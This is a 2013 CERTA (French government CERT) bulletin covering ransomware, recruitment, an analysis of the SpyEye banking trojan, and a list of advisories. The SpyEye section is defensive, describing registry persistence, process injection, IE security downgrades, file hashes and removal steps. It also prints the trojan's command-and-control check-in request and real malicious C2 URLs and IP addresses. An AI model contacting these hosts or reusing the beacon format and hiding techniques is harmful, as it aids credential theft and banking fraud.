Liberté • Égalité • Fraternité
RÉPUBLIQUE FRANÇAISE
PREMIER MINISTRE

S . G . D . S . N
Agence nationale de la sécurité des systèmes d'information
CERTA

Paris, le 25 octobre 2013
N° CERTA-2013-ACT-043

Affaire suivie par :
CERTA

BULLETIN D'ACTUALITÉ

Objet : Bulletin d'actualité CERTA-2013-ACT-043

1 Évolutions des rançongiciels

Le CERTA a constaté une recrudescence d'attaques employant des rançongiciels : codes malveillants implantés sur le système d'information de la victime pour endommager ses données ou empêcher la victime d'y accéder. Les attaquants conditionnent un retour à la normale en échange du paiement d'une rançon.

Généralement les données sont simplement bloquées et le code malveillant empêche l'utilisateur légitime d'y accéder. Des techniques relativement simples permettent toutefois de reprendre le contrôle de la machine infectée. Cependant, certaines variantes de ces codes malveillants chiffrent les données de l'utilisateur avec des algorithmes robustes. Dans ces cas, les documents chiffrés ne pourront alors plus être déchiffrés autrement qu'avec la clé promise par l'attaquant en échange du paiement d'une somme d'argent.

Payer la rançon ne garantit pas que les attaquants communiquent au final la clef de déchiffrement à la victime. Il est donc recommandé de ne pas payer et de porter plainte auprès des autorités judiciaires compétentes

Plusieurs entreprises et collectivités publiques ont récemment été victimes de ce type de code malveillant, qui exploite généralement des vulnérabilités connues et pour lesquelles des correctifs de sécurité ont été publiés. La meilleure méthode pour se protéger de ce type de compromission consiste donc à veiller à tenir à jour tous les logiciels déployés sur le poste de travail.

Pour mémoire, l'ANSSI a mis à disposition un répondeur et publie sur son site des recommandations pour les victimes de ce type d'attaques.

Documentation

- Escroquerie en ligne portant le logo de l'ANSSI :
  http://www.ssi.gouv.fr/fr/menu/actualites/attention-arnaque-en-ligne-portant-le-logo-de-l-anssi.html
- Les bons réflexes en cas d'intrusion sur un système d'information :
  http://www.certa.ssi.gouv.fr/site/CERTA-2002-INF-002/index.html
- Guide d'hygiène informatique ANSSI :
  http://www.ssi.gouv.fr/IMG/pdf/guide_hygiene_informatique_anssi.pdf
- Fiche technique - mises à jour de sécurité :
  http://www.securite-informatique.gouv.fr/gp_article96.html

2 Le CERTA recrute

Dans le cadre de la montée en puissance de l'ANSSI, le CERTA recherche différents profils techniques opérationnels, dont en particulier :

- Assistant en traitement d'incident informatique ;
- Ingénieur chargé d'analyse en détection d'intrusions ;
- Ingénieur en investigation numérique ;

– Pilote technique spécialiste en traitement d'incidents informatiques .

Toutes ces offres, et les fiches de poste associées sont disponibles à l'adresse :

http://www.ssi.gouv.fr/fr/anssi/emploi/cossi/division-techniques-operationnelles-210/bureau-failles-et-reponse-aux-incidents-214/

De nombreux autres postes sont également proposés par l'ANSSI :

http://www.ssi.gouv.fr/fr/anssi/emploi/

Les candidatures sont à adresser par courrier électronique à l'adresse recrutement@ssi.gouv.fr.

3 SpyEye

SpyEye fait partie des codes malveillants les plus répandus actuellement. L'objectif de *SpyEye* est de récupérer les données bancaires de ses victimes et d'effectuer des transactions financières tout en cachant sa présence au niveau du système.

3.1 Stratégie d'infection

3.1.1 Persistance

La persistance du code est assurée de manière classique par l'ajout d'une clé de registre de type `RUN` dans le profil de l'utilisateur courant. Une fois lancé, le code surveille périodiquement les nouveaux processus lancés et s'injecte à l'intérieur de ces nouvelles instances afin de masquer sa présence.

3.1.2 Abaissement du niveau de sécurité d'Internet Explorer

Pour pouvoir manipuler le trafic réseau, SpyEye effectue une reconfiguration de certains paramètres d'Internet Explorer.

La modification de certaines clés de registres provoque les actions suivantes :

– désactivation du filtre anti-hameçonnage ;
– désactivation de la suppression automatique de l'historique de navigation lors de la fermeture d'Internet Explorer ;
– autorisation d'accès des données inter-domaine ;
– désactivation du filtre XSS ;
– autorisation de l'affichage mixte de contenu.

3.2 Fonctionnement du code malveillant

3.2.1 Techniques de dissimulation

Lors de sa première exécution, le code injecte dans le processus `explorer.exe` un thread distant qui va copier l'exécutable dans le dossier `C:\algonic\` et l'exécuter. La deuxième exécution à partir de l'emplacement décrit précédemment lui permet de s'injecter dans les processus 32 bits qui lui sont accessibles.

Ainsi, il s'injecte dans les nouveaux processus qui sont créés rendant sa détection et son éradication plus difficiles. Il modifie alors le flot d'exécution de certaines fonctions dans le but de cacher sa présence lors de l'affichage du contenu du répertoire `C:\algonic`.

3.2.2 Interception et modification du trafic réseau

Le code modifie le flot d'exécution des fonctions servant à communiquer sur Internet pour récupérer des identifiants et des mots de passe avant que ceux-ci soient chiffrés.

3.2.3 Exfiltration des données

Le code utilise une technique classique pour exfiltrer les données collectées, à savoir une connexion régulière à plusieurs sites web piratés servant de centre de contrôle.

3.3 Éléments de détection

3.3.1 Système

- Clé de registre :
  - sous-clé : `HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN`
  - nom : `algonic`
  - valeur : `C:\algonic\algonic.exe`
- Fichiers :
  - création du dossier `C:\algonic\`
  - exécutable lancé au démarrage : `C:\algonic.exe` :
    - md5 : 8E05296A87BD4BA4B8687C02FA024823
    - sha1 : 374DE9F8AE153F49724062F736C72EFB30B63054
  - fichier de configuration (archive zip protégée par mot de passe) : `C:\algonic\config.bin` :
    - md5 : 7C87E4BA92340C06434D31D8A4330633
    - sha1 : C629FF2781169AA75A9154F8D8F63C0DD81F1CAA

3.3.2 Réseau

Le troyen informe le serveur Contrôle et de Commande de sa disponibilité avec une requête de cette forme :

```
GET page.php?guid=<Windows_Version>!<hostname>!<system_volume_serial>
&ver=10310
&ie=<internet_explorer_version>
&os=<Windows_Version>
&ut=<User ou Guest ou Admin>
&ccrc=<crc32_from_config.bin>
&md5=<md5_algonic.exe>
&plg=<customconnector>
&stat=online
HTTP/1.1
Host: <botserver>
User-Agent: Microsoft Internet Explorer
```

Une analyse effectuée par le CERTA sur le code malveillant a permis d'obtenir une liste d'URLs et d'adresses IP pouvant potentiellement être contactées par *SpyEye* :

- `http://radiosci.info/1/gate.php`
- `http://sc2wc.info/software/gate.php`
- `http://rignorell.info/software/gate.php`
- `69.50.198.153:11443`
- `69.50.198.154:11443`

3.4 Méthode d'éradication

Bien que ce code malveillant soit évolué, sa persistance n'est assurée que par la sous-clé de registre `\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN`. Pour supprimer le code, il suffit d'enlever cette sous-clé avec un utilitaire approprié ou directement avec Regedit, puis de redémarrer l'ordinateur.

Pour finir, il est nécessaire de supprimer le dossier `C:\algonic\` et de restaurer les paramètres de sécurité d'Internet Explorer qui ont pu être modifiés.

3.4.1 Références

- Analyse de SpyEye par IOActive :
  http://www.ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
- Compte rendu d'analyse de VirusTotal :
  https://www.virustotal.com/fr/file/412e735f58e89cca0bf1285e1bacce8f7599db754bf70af647d5b8e0ba9128be/analysis/

4 Rappel des avis émis

Dans la période du 18 au 24 octobre 2013, le CERTA a émis les publications suivantes :

- CERTA-2013-AVI-593 : Multiples vulnérabilités dans Oracle Solaris
- CERTA-2013-AVI-594 : Multiples vulnérabilités dans VMware vSphere
- CERTA-2013-AVI-595 : Multiples vulnérabilités dans Apple OS X et Mac OS X
- CERTA-2013-AVI-596 : Multiples vulnérabilités dans Apache Struts
- CERTA-2013-AVI-597 : Multiples vulnérabilités dans le noyau Linux de Ubuntu
- CERTA-2013-AVI-598 : Vulnérabilité dans Citrix XenDesktop
- CERTA-2013-AVI-599 : Multiples vulnérabilités dans Apple iOS
- CERTA-2013-AVI-600 : Multiples vulnérabilités dans Apple Safari
- CERTA-2013-AVI-601 : Multiples vulnérabilités dans Apple OS X Mavericks
- CERTA-2013-AVI-602 : Vulnérabilité dans Apple Keynote
- CERTA-2013-AVI-603 : Multiples vulnérabilités dans Apple OS X Server
- CERTA-2013-AVI-604 : Multiples vulnérabilités dans Apple Remote Desktop
- CERTA-2013-AVI-605 : Multiples vulnérabilités dans Apple iTunes
- CERTA-2013-AVI-606 : Vulnérabilité dans les produits Cisco
- CERTA-2013-AVI-607 : Multiples vulnérabilités dans Cisco Identity Services Engine
- CERTA-2013-AVI-608 : Vulnérabilité dans Cisco IOS XR

Gestion détaillée du document

25 octobre 2013 version initiale.